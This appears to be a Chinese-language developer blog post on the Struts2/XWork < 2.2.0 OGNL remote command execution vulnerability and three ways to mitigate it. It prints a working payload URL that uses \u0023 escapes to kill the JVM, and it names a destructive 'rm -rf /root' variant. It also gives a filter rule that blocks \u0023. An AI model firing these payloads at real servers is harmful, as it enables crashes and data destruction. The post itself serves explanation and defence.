exploit-db網站在7月14日爆出了一個Struts2的遠程執行任意代碼的漏洞。
漏洞名稱：Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相關介紹：
- http://www.exploit-db.com/exploits/14360/
- http://sebug.net/exploit/19954/
Struts2的核心是使用的webwork框架，處理 action時通過調用底層的getter/setter方法來處理http的參數，它將每個http參數聲明爲一個ONGL（這裏是ONGL的介紹）語句。當我們提交一個http參數：
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL將它轉換爲：
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這是通過ParametersInterceptor（參數過濾器）來執行的，使用用戶提供的HTTP參數調用 ValueStack.setValue()。
爲了防範篡改服務器端對象，XWork的ParametersInterceptor不允許參數名中出現“#”字符，但如果使用了Java的 unicode字符串表示/u0023，攻擊者就可以繞過保護，修改保護Java方式執行的值：
此處代碼有破壞性，請在測試環境執行，嚴禁用此種方法進行惡意攻擊
?('/u0023_memberAccess[/'allowStaticMethodAccess/']')(meh)=true&(aaa)(('/u0023context[/'xwork.MethodAccessor.denyMethodExecution/']/u003d/u0023foo')(/u0023foo/u003dnew%20java.lang.Boolean("false")))&(asdf)(('/u0023rt.exit(1)')(/u0023rt/[email protected]@getRuntime()))=1
轉義後是這樣：
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#[email protected]@getRuntime()))=1
OGNL處理時最終的結果就是
java.lang.Runtime.getRuntime().exit(1);
類似的可以執行
java.lang.Runtime.getRuntime().exec("rm –rf /root")，只要有權限就可以刪除任何一個目錄。
目前嘗試了3個解決方案：
1.升級到struts2.2版本。
這個可以避免這個問題，但是struts開發團隊沒有release這個版本（包括最新的2.2.1版本都沒有release），經我測試發現新版本雖然解決了上述的漏洞，但是新的問題是strus標籤出問題了。
<s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>
<s:property value="#UserUtil.getType().get(cType.toString())" />
這樣的標籤在struts2.0中是可以使用的，但是新版中就不解析了，原因就是“#”的問題導致的，補了漏洞，正常的使用也用不了了。
所以sebug網站上的建議升級到2.2版本是不可行的。
2.struts參數過濾。
<interceptor-ref name="params">
<param name="excludeParams">.*//u0023.*</param>
</interceptor-ref>
這個可以解決漏洞問題，缺點是工作量大，每個項目都得改struts配置文件。如果項目裏，是引用的一個類似global.xml的配置文件，工作量相應減少一些。
3.在前端請求進行過濾。
比如在ngnix，apache進行攔截，參數中帶有/u0023的一律視爲攻擊，跳轉到404頁面或者別的什麼頁面。這樣做的一個前提就是沒人把#號轉碼後作爲參數傳遞。
目前來看後兩種是比較有效的方法，採用第三種方法比較簡便。是否有另外的解決辦法，歡迎大家討論。
我並沒有在windows環境下測試，有同學在windows下沒有試驗成功，這並不能說明windows下就沒有風險可能是我們的參數或者什麼地方有問題而已。既然漏洞的確存在，咱們就要重視對吧。歡迎大家測試，是否windows下漏洞不能執行成功。
